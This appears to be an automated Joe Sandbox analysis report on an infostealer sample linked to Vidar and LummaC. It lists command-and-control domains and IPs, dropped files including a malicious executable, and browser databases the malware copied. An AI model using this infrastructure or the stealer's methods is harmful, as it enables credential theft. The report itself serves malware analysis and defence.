http://cowod.hopto.orgbbb071b03nt-Disposition:	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://exemplarou.sbs/B	MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	false		unknown
https://support.mozilla.org	IDHIDB.1.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgare.com:80	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JJDBAE.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	exemplarou.sbs	European Union	13335	CLOUDFLARENETUS	true
95.164.90.97	lade.petperfectcare.com	Gibraltar	39762	VAKPoltavaUkraineUA	true
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528262
Start date and time:	2024-10-07 17:59:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VLSiVR4Qxs.exe renamed because original name is a hash value
Original Sample Name:	d1eed00237bf1b0c9024f383ac8fd19c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/42@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 97 Number of non-executed functions: 249
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 20.190.159.68, 20.190.159.71, 20.190.159.2, 20.190.159.0, 40.126.31.67, 20.190.159.4, 40.126.31.69, 40.126.31.71, 2.16.100.168, 88.221.110.91, 40.113.103.199, 20.189.173.22, 20.12.23.50, 13.95.31.18, 40.69.42.241, 52.182.143.212, 40.115.3.253
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, a767.dspw65.akamai.net, wns.notify.trafficmanager.net, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, client.wns.windows.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: VLSiVR4Qxs.exe

Simulations

Behavior and APIs

Time	Type	Description
12:00:20	API Interceptor	3x Sleep call for process: WerFault.exe modified
12:00:41	API Interceptor	2x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	scan_374783.js	Get hash	malicious	AgentTesla	Browse	paste.ee/d/gvOd3
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/yuvr/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	http://www.thegulfthermale.com.tr/antai/12/3dsec.php	Get hash	malicious	Unknown	Browse	www.thegulfthermale.com.tr/antai/12/3dsec.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/MlZtCPkK/download
	https://technopro-bg.com/redirect.php?action=url&goto=mairie-espondeilhan.com&osCsid=m24rb0l158b8m36rktotvg5ti2	Get hash	malicious	HTMLPhisher	Browse	mairie-espondeilhan.com/
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
95.164.90.97	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/
	file.exe	Get hash	malicious	Vidar	Browse	lade.petperfectcare.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0036.t-0009.t-msedge.net	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.64
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	13.107.246.64
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	13.107.246.64
	https://cloud.list.lu/index.php/s/znw4dNSttiDzHTB	Get hash	malicious	Unknown	Browse	13.107.246.64
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper	Browse	13.107.246.64
	http://pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html	Get hash	malicious	Unknown	Browse	13.107.246.64
	https://www.office365.murnau.org/_/l0g1n0	Get hash	malicious	Unknown	Browse	13.107.246.64
	https://pub-b60bbcf7edd9477a8f686caa270d9f9c.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.64
	Setup.exe	Get hash	malicious	LummaC	Browse	13.107.246.64
	https://sexyboobsme.pages.dev/	Get hash	malicious	Porn Scam	Browse	13.107.246.64
cowod.hopto.org	down.exe	Get hash	malicious	Unknown	Browse	45.132.206.251
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
lade.petperfectcare.com	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
fp2e7a.wpc.phicdn.net	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	uhwovHh7pS.msi	Get hash	malicious	VMdetect	Browse	192.229.221.95
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	172.67.212.190
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	104.21.90.101
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	172.67.139.158
	RFQ Ref. No CRCCRFQHAFJIHDG2-KSU001 REV.01..exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	ABH projesi_SLG6%0190%_fiyat teklif - PO240017 xlsx.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
FREE-NET-ASFREEnetEU	https://steamcommonunity.com/gift/receive	Get hash	malicious	Unknown	Browse	147.45.47.205
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	cmBxQ7gA5a.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	https://steamcommunrutty.com/gift/actlvation=Mor85Fhn6w4	Get hash	malicious	Unknown	Browse	147.45.47.205
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	147.45.126.71
LIFELINK-ASRU	down.exe	Get hash	malicious	Unknown	Browse	45.132.206.251
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	7f3c2473d1e6.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
VAKPoltavaUkraineUA	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	file.exe	Get hash	malicious	Vidar	Browse	95.164.90.97
	bind.aspx.exe	Get hash	malicious	Vidar	Browse	95.164.119.162
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse	95.164.119.162

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	13.107.246.64
	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	13.107.246.64
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	13.107.246.64
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.64
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	13.107.246.64
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.64
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.64
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.64
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	13.107.246.64
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.64
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	uhwovHh7pS.msi	Get hash	malicious	VMdetect	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\HCAEHDHDAK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723484124390298
Encrypted:	false
SSDEEP:	12288:mxyHj9OPDUsb5J4VMrJhypkjvsoZMfG6jiHiprOTafN4S:mg9OJ4o4iLI+QiHipCTau
MD5:	64FE8DFA186F801847E6C710F30B2884
SHA1:	7E6887011B600858D5B0D2D59564B3E44C023965
SHA-256:	5A7B7A57EBA095CF41EF86FAA906C39C7F26B7B09E8B2268D1E882AD8AFB92A6
SHA-512:	B69EE7BC2927EA1C69249E1494DCE2D986D1EA730CD57C039555A1C6155177706FDB0AF71FE99D5AA828327B11CB05F456C566A7B83E0D887F87FB69550A090E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@................................. .....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\AAFBAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\BFIJEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\CBFCFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\DBKKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\GDGHJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJECAAKKFHCF\HIIIEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
